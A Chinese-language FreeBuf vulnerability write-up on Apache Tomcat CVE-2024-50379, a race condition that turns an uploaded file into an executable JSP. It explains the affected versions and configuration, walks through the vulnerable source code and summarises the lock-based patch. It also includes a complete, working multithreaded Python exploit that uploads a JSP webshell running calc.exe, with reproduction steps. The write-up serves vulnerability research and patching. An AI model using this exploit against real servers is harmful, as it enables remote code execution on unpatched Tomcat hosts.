freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Tomcat CVE-2024-50379 条件竞争导致命令执行
mag1c7 2025-02-27 14:22:30 87658
所属地 湖北省

漏洞描述

If the default servlet is write enabled (readonly initialisation parameter set to the non-default value of false) for a case insensitive file system, concurrent read and upload under load of the same file can bypass Tomcat's case sensitivity checks and cause an uploaded file to be treated as a JSP leading to remote code execution.

如果默认 Servlet 启用了写权限(即readonly初始化参数被设置为非默认值false),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过 Tomcat 的大小写敏感性检查,导致上传的文件被视为 JSP 文件,从而引发远程代码执行漏洞。

漏洞条件

  • Windows操作系统:对文件扩展名大小写不敏感

  • 版本:

11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
  • DefaultServlet需要有以下配置:开启写权限

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>

        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <!-- 开启写权限 -->
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

漏洞验证

  • 环境

tomcat: 9.0.96
jre: 1.8
system: Windows 11
  • exploit

import requests
import threading
import sys

SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''

# 使用 Event 控制线程终止
stop_event = threading.Event()

def upload_shell(url):
    session = requests.Session()  # 每个线程使用独立的 Session
    print("[+] Uploading JSP shell...")
    while not stop_event.is_set():
        try:
            response = session.put(url, data=SHELL_CONTENT, timeout=3)
            # if response.status_code not in (201, 204):
            #     print(f"[-] Upload failed with status code: {response.status_code}")

        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Upload error: {str(e)}")

def accessShell(url):
    session = requests.Session()  # 每个线程使用独立的 Session  (session线程不安全)
    while not stop_event.is_set():
        try:
            response = session.get(url, timeout=3)
            if response.status_code == 200:
                print("[+] Access Success")
                stop_event.set()  # 触发所有线程停止
                return
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Access error: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python Poc.py <base_url> <shell_name>")
        sys.exit(1)

    base_url = sys.argv[1]
    shell_name = sys.argv[2]

    upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
    access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"

    print(f"upload_url: {upload_url}")
    print(f"access_url: {access_url}")

    # 创建上传线程池
    upload_threads = []
    for _ in range(20):
        t = threading.Thread(target=upload_shell, args=(upload_url,))
        t.daemon = True  # 设置为守护线程
        upload_threads.append(t)
        t.start()

    # 创建访问线程池
    access_threads = []
    for _ in range(5000):
        t = threading.Thread(target=accessShell, args=(access_url,))
        t.daemon = True  # 设置为守护线程
        access_threads.append(t)
        t.start()

    # 主线程循环检查停止事件
    try:
        while not stop_event.is_set():
            pass
    except KeyboardInterrupt:
        stop_event.set()
        print("\n[!] Stopping all threads due to keyboard interrupt.")

    # 等待所有线程完成
    for thread in upload_threads + access_threads:
        thread.join()

    print("\n[!] All threads stopped.")
  1. 复现过程

    1. 重新开启tomcat:
      image
      注意这时会弹出一个另一个弹窗
      image
      不要关闭这个弹窗,不然http://localhost:8080/无法访问

    2. 执行脚本:python CVE-2024-50379.py http://localhost:8080 shell.jsp
      image
      执行成功!
        脚本执行期间可以观察到,在D:\Program Files (x86)\apache-tomcat-9.0.96\apache-tomcat-9.0.96\webapps\ROOT中,shell.JSP的大小会在1KB和0KB反复变化

漏洞分析

image

org.apache.catalina.webresources.DirResourceSet#getResource

@Override
    public WebResource getResource(String path) {
        checkPath(path);
        String webAppMount = getWebAppMount();
        WebResourceRoot root = getRoot();
        if (path.startsWith(webAppMount)) {
        	//获取资源
            File f = file(path.substring(webAppMount.length()), false);
            if (f == null) {
                return new EmptyResource(root, path);
            }
            if (!f.exists()) {
                return new EmptyResource(root, path, f);
            }
            if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
                path = path + '/';
            }
            return new FileResource(root, path, f, isReadOnly(), getManifest());
        } else {
            return new EmptyResource(root, path);
        }
    }

org.apache.catalina.webresources.AbstractFileResourceSet#file

protected final File file(String name, boolean mustExist) {

        if (name.equals("/")) {
            name = "";
        }
        File file = new File(fileBase, name);
		
        //一些处理
        ... 

        // Check that this file is located under the WebResourceSet's base
        String canPath = null;
        try {
            //漏洞点
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        if (canPath == null || !canPath.startsWith(canonicalBase)) {
            return null;
        }


        String absPath = normalize(file.getAbsolutePath());
        ...
        //必须绕过才能利用成功
        if (!canPath.equals(absPath)) {
            if (!canPath.equalsIgnoreCase(absPath)) {
                logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);
            }
            return null;
        }
		//必须进入这里才能利用成功
        return file;
    }

file所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因

漏洞修复

相关补丁:

其大致思路是用锁机制,对PUT shell.JSPGET shell.jsp进行同步,使得当进行PUT shell.JSP时,GET shell.jsp会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件

Reference

[1] CVE-2024-50379 : Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compi

[2] WEB安全-Tomcat CVE-2024-50379 条件竞争致RCE漏洞原理_游戏逆向|游戏安全|yxfzedu.com

[3] 文章 - Tomcat CVE-2024-50379 / CVE-2024-56337 条件竞争漏洞分析 - 先知社区

[4] CVE-2024-50379漏洞复现-CSDN博客

[5] Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC-CSDN博客

# 漏洞分析 # tomcat # 漏洞复现
本文为 mag1c7 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
mag1c7 LV.5
这家伙太懒了,还未填写个人描述!
  • 24 文章数
  • 10 关注者
[PoC] Tomcat CVE-2025-24813 RCE
2025-03-12
DJL CVE-2025-0851 绝对路径遍历
2025-03-09
shiro-core 框架分析
2025-02-16
文章目录